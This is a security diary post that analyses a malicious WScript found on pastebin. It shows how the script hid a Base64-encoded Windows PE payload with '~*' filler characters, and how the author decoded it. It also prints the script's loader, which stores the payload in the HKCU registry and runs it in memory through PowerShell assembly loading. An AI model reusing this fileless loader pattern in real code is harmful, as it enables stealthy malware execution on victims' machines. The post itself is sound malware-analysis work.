A few months ago, I posted a diary to explain how to search for (malicious) PE files in Base64 data[1]. Base64 is indeed a common way to distribute binary content in an ASCII form. There are plenty of scripts based on this technique. On my Macbook, I'm using a small service created via Automator to automatically decode highlighted Base64 data and submit them to my Viper instance for further analysis:

But yesterday, I found, on pastebin.com[2], a malicious WScript file with a Base64 string that did not decode. The script ended with an error "Invalid character in input stream”. I had a quick look at the script and found indeed unexpected characters randomly spread in the Base64 data:

H="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIb
gBTM~*hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ~*KJAAAAAAAAABQRQAATAEDAGGnBFkAAAAAAAAAA
OAAAgELAQsAALIAAAAIAAAAAAAAjtEAAAAgAAAA4AAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAAAgAQAAAgAAAAAAAAIAQI
UAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADTRAABXAAAAAOAAAPgEAAAAAAAAAAAAAAAAAAAAAAAAAAABAAwAAAD8zwA
AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAA
AC5~*ZXh~*AAAAlLEAAAAgAAAAsgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAPgEAAAA4AAAAAYAAAC~*AAAAAAAAAAAAAA
AAAABAAABAL...(redacted)

If you check in the VBScript code, you'll indeed see an instruction to replace those unexpected characters from the Base64 string:

$_b=$_b.replace('~*','0’);

When just replace the string by ‘0’ as stated in the script, you get back the malicious PE file:

$ sed "s/\~\*/0/g" base64.txt | base64 -d >base64.exe
$ file base64.exe
foo.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
$ md5sum base64.exe
07be65dedbee0ef5582f0eff5dd4d804 base64.exe

The file is, of course, malicious as reported by VT[3].

Finally, a quick remark about the script itself: it uses the Windows registry to store the payload and execute it:

O.regwrite D,H,"REG_SZ"
O.Run C & chrw(34) & "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;
$_b=$_b.replace('~*','0');
[byte[]]$_0 = [System.Convert]::FromBase64String($_b);
$_1 = [System.Threading.Thread]::GetDomain().Load($_0);
$_1.EntryPoint.invoke($null,$null);" & Chrw(34),0,false

Nothing fancy here but attackers are always using small tricks to prevent (or better " to slow down") the automated analysis by security tools. Search always for functions/tools that do search/replace operations in the analyzed code. It can help to save your time. Happy hunting!

[1] https://isc.sans.edu/forums/diary/Searching+for+Base64encoded+PE+Files/22199
[2] https://pastebin.com/EhG9ZQtH
[3] https://www.virustotal.com/en/file/0e6694d37b2a424402a41bbd520bec4bc416813fa744013ba1b3eab27378a291/analysis/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key